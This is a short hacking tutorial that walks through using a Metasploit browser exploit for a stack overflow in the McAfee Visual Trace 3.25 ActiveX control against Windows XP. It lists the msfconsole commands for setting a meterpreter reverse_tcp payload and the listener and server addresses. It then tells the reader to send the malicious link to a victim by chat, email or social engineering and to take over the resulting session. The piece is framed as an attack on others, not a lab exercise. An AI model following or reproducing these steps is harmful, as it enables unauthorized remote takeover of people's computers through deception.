How to Hack Remote PC using McAfee Visual Trace ActiveX Control Buffer Overflow

This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX Control (NeoTraceExplorer.dll By sending a overly long string to the “Trace Target ()” method, an attacker may be able to execute arbitrary code.

Exploit Targets

McAfee Visual Trace 3.25

Windows XP Service Pack 2, 3


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/mcafeevisualtrace_tracetarget

Msf exploit (mcafeevisualtrace_tracetarget)>set payload windows/meterpreter/reverse_tcp

Msf exploit (mcafeevisualtrace_tracetarget)>set lhost (IP of Local Host)

Msf exploit (mcafeevisualtrace_tracetarget)>set srvhost (This must be an address on the local machine)

Msf exploit (mcafeevisualtrace_tracetarget)>set uripath trace (The Url to use for this exploit)

Msf exploit (mcafeevisualtrace_tracetarget)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

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